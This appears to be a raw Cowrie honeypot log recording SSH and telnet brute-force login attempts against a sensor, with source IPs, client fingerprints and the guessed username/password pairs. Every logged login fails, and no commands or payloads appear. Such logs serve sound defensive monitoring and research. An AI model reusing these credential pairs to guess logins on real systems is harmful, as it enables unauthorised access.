{"eventid":"cowrie.login.failed","username":"spark","password":"123456","message":"login attempt [spark/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:07.389129Z","src_ip":"190.128.201.18","session":"ba836c02c71f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:08.531814Z","src_ip":"190.128.201.18","session":"ba836c02c71f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dut","password":"dut","message":"login attempt [dut/dut] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:10.975401Z","src_ip":"103.248.120.6","session":"b54d5d504a2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.37.220.188","src_port":52066,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ccd0a1030ec","protocol":"telnet","message":"New connection: 102.37.220.188:52066 (159.203.135.109:23) [session: 5ccd0a1030ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:11.014298Z"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:12.211996Z","src_ip":"103.248.120.6","session":"b54d5d504a2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":59764,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1f62686081f","protocol":"ssh","message":"New connection: 123.58.215.196:59764 (10.17.0.5:22) [session: d1f62686081f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:36.200251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:36.204949Z","src_ip":"123.58.215.196","session":"d1f62686081f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:36.425032Z","src_ip":"123.58.215.196","session":"d1f62686081f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty321","message":"login attempt [root/Qwerty321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:37.328800Z","src_ip":"123.58.215.196","session":"d1f62686081f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:38.552521Z","src_ip":"123.58.215.196","session":"d1f62686081f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.94660401344299,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:42.609493Z","src_ip":"128.199.8.54","session":"eac426bcafb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.629868745803833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:42.644030Z","src_ip":"102.37.220.188","session":"5ccd0a1030ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":43130,"dst_ip":"10.17.0.5","dst_port":22,"session":"410ec1ea7dff","protocol":"ssh","message":"New connection: 4.213.224.194:43130 (10.17.0.5:22) [session: 410ec1ea7dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:54.179283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:54.183982Z","src_ip":"4.213.224.194","session":"410ec1ea7dff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:54.387139Z","src_ip":"4.213.224.194","session":"410ec1ea7dff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matt","password":"matt","message":"login attempt [matt/matt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:55.203472Z","src_ip":"4.213.224.194","session":"410ec1ea7dff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:31:56.403085Z","src_ip":"4.213.224.194","session":"410ec1ea7dff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.87.183","src_port":34452,"dst_ip":"159.203.135.109","dst_port":23,"session":"581cf585f01f","protocol":"telnet","message":"New connection: 103.249.87.183:34452 (159.203.135.109:23) [session: 581cf585f01f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:32:17.703915Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":35550,"dst_ip":"159.203.135.109","dst_port":22,"session":"eed3a8b820ef","protocol":"ssh","message":"New connection: 2.57.122.238:35550 (159.203.135.109:22) [session: eed3a8b820ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:32:18.998300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:32:19.003469Z","src_ip":"2.57.122.238","session":"eed3a8b820ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:32:19.109237Z","src_ip":"2.57.122.238","session":"eed3a8b820ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:32:19.427990Z","src_ip":"2.57.122.238","session":"eed3a8b820ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:32:20.539773Z","src_ip":"2.57.122.238","session":"eed3a8b820ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":53326,"dst_ip":"159.203.135.109","dst_port":23,"session":"55b22b636296","protocol":"telnet","message":"New connection: 107.6.151.170:53326 (159.203.135.109:23) [session: 55b22b636296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:32:26.060345Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":55122,"dst_ip":"159.203.135.109","dst_port":23,"session":"46faa4be4ce0","protocol":"telnet","message":"New connection: 107.6.151.170:55122 (159.203.135.109:23) [session: 46faa4be4ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:32:30.093168Z"}
{"eventid":"cowrie.session.closed","duration":35.00948119163513,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:32:52.713268Z","src_ip":"103.249.87.183","session":"581cf585f01f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.8","src_port":47580,"dst_ip":"10.17.0.5","dst_port":22,"session":"d10692fcac5b","protocol":"ssh","message":"New connection: 91.92.40.8:47580 (10.17.0.5:22) [session: d10692fcac5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:32:54.393547Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:32:54.678245Z","src_ip":"91.92.40.8","session":"d10692fcac5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.8","src_port":47582,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc79a87de588","protocol":"ssh","message":"New connection: 91.92.40.8:47582 (10.17.0.5:22) [session: cc79a87de588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:32:54.757580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:32:55.012138Z","src_ip":"91.92.40.8","session":"cc79a87de588","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:32:55.015511Z","src_ip":"91.92.40.8","session":"cc79a87de588","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:32:57.281242Z","src_ip":"91.92.40.8","session":"cc79a87de588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.337109565734863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:32:57.397285Z","src_ip":"107.6.151.170","session":"55b22b636296","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:32:58.589141Z","src_ip":"91.92.40.8","session":"cc79a87de588","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.100528955459595,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:33:02.193592Z","src_ip":"107.6.151.170","session":"46faa4be4ce0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":32766,"dst_ip":"10.17.0.5","dst_port":22,"session":"6316896479c7","protocol":"ssh","message":"New connection: 123.58.215.196:32766 (10.17.0.5:22) [session: 6316896479c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:33:31.477813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:33:31.482473Z","src_ip":"123.58.215.196","session":"6316896479c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:33:31.702466Z","src_ip":"123.58.215.196","session":"6316896479c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"htest","password":"htest","message":"login attempt [htest/htest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:33:32.621207Z","src_ip":"123.58.215.196","session":"6316896479c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:33:33.853872Z","src_ip":"123.58.215.196","session":"6316896479c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":32666,"dst_ip":"159.203.135.109","dst_port":22,"session":"99ee1a4a5a66","protocol":"ssh","message":"New connection: 190.128.201.18:32666 (159.203.135.109:22) [session: 99ee1a4a5a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:33:36.044171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:33:36.047456Z","src_ip":"190.128.201.18","session":"99ee1a4a5a66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:33:36.184081Z","src_ip":"190.128.201.18","session":"99ee1a4a5a66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"virus","password":"virus123","message":"login attempt [virus/virus123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:33:36.763658Z","src_ip":"190.128.201.18","session":"99ee1a4a5a66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:33:37.907313Z","src_ip":"190.128.201.18","session":"99ee1a4a5a66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.62.124.255","src_port":47418,"dst_ip":"159.203.135.109","dst_port":23,"session":"f82e0b243199","protocol":"telnet","message":"New connection: 166.62.124.255:47418 (159.203.135.109:23) [session: f82e0b243199]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:00.500571Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":34241,"dst_ip":"10.17.0.5","dst_port":22,"session":"532b3a8d3279","protocol":"ssh","message":"New connection: 103.248.120.6:34241 (10.17.0.5:22) [session: 532b3a8d3279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:02.064482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:02.067323Z","src_ip":"103.248.120.6","session":"532b3a8d3279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:02.292315Z","src_ip":"103.248.120.6","session":"532b3a8d3279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"12","message":"login attempt [server/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:03.221799Z","src_ip":"103.248.120.6","session":"532b3a8d3279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:34:04.991489Z","src_ip":"103.248.120.6","session":"532b3a8d3279","protocol":"ssh"}
